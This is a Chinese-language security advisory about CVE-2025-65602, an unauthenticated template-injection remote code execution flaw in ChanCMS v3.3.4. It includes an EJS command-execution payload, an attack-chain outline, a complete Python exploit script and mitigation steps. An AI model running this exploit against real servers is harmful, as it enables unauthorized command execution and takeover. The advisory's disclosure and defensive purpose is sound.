IPBUF安全漏洞报告
English
CVE-2025-65602 CVSS 9.8 严重

CVE-2025-65602 ChanCMS模板注入远程代码执行漏洞

披露日期: 2025-12-10

漏洞信息

漏洞编号
CVE-2025-65602
漏洞类型
模板注入/远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ChanCMS v3.3.4

相关标签

模板注入远程代码执行RCEChanCMSCVE-2025-65602无需认证高危漏洞Node.js

漏洞概述

CVE-2025-65602是ChanCMS v3.3.4版本中的一个严重安全漏洞,漏洞类型为模板注入(Template Injection)。该漏洞位于/vip/v1/file/save组件中,由于对用户输入的模板内容缺乏充分的过滤和验证,攻击者可以通过构造恶意的POST请求,在服务器端注入任意模板指令,最终实现远程代码执行(RCE)。ChanCMS是一个基于Node.js的内容管理系统,广泛应用于各类网站建设中。由于该漏洞的CVSS评分高达9.8分,属于严重级别,且攻击无需任何认证,攻击者可以在无需用户名密码的情况下直接利用此漏洞获取服务器完全控制权。此漏洞已被公开披露,野外可能存在利用尝试,建议所有使用受影响版本的用户立即采取修复措施。

技术细节

该漏洞存在于ChanCMS的/vip/v1/file/save接口中。攻击者通过发送精心构造的POST请求,在file参数中注入模板引擎语法(如ejs、art-template等常用模板引擎的特殊标记)。由于应用程序直接将用户可控的输入传递给模板引擎进行渲染,攻击者可以利用模板引擎的功能执行任意JavaScript代码或系统命令。具体利用时,攻击者需要构造包含模板注入payload的请求包,payload示例:<%= global.process.mainModule.require('child_process').exec('whoami') %>。当服务器处理该请求时,模板引擎会解析并执行注入的代码,导致命令在服务器操作系统层面执行。由于该接口无需认证即可访问,攻击门槛极低,任何能够发送HTTP请求的攻击者都可以利用此漏洞。

攻击链分析

STEP 1
1
信息收集:攻击者识别目标网站使用的ChanCMS版本,确认版本为v3.3.4
STEP 2
2
构造Payload:攻击者构造包含模板注入代码的恶意POST请求,在file参数中注入模板引擎执行命令的payload
STEP 3
3
发送请求:攻击者向目标服务器的/vip/v1/file/save接口发送构造好的POST请求,无需任何认证
STEP 4
4
代码执行:服务器端模板引擎解析并执行注入的代码,在服务器上执行攻击者指定的系统命令
STEP 5
5
获取权限:攻击者通过命令执行结果获取服务器敏感信息,可能进一步植入后门或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65602 PoC - ChanCMS Template Injection RCE # Target: ChanCMS v3.3.4 # Endpoint: /vip/v1/file/save def exploit(target_url, command="whoami"): """ Exploit template injection vulnerability in ChanCMS /vip/v1/file/save """ endpoint = f"{target_url.rstrip('/')}/vip/v1/file/save" # Template injection payload - executes system command # Using EJS template syntax for command execution payload = f"<%= global.process.mainModule.require('child_process').execSync('{command}').toString() %>" # Prepare POST data data = { "file": payload, "filename": "test.txt" } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: print(f"[*] Target: {target_url}") print(f"[*] Command: {command}") print(f"[*] Sending exploit payload...") response = requests.post(endpoint, json=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://target.com whoami") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, cmd)

影响范围

ChanCMS v3.3.4

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 通过Web应用防火墙规则阻止对/vip/v1/file/save接口的访问;2) 临时禁用ChanCMS的VIP功能模块;3) 对模板引擎进行安全配置,禁用危险函数和模块访问;4) 实施IP白名单限制,仅允许可信IP访问管理接口;5) 启用详细的访问日志监控可疑请求。建议尽快升级到官方发布的安全版本以彻底修复该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表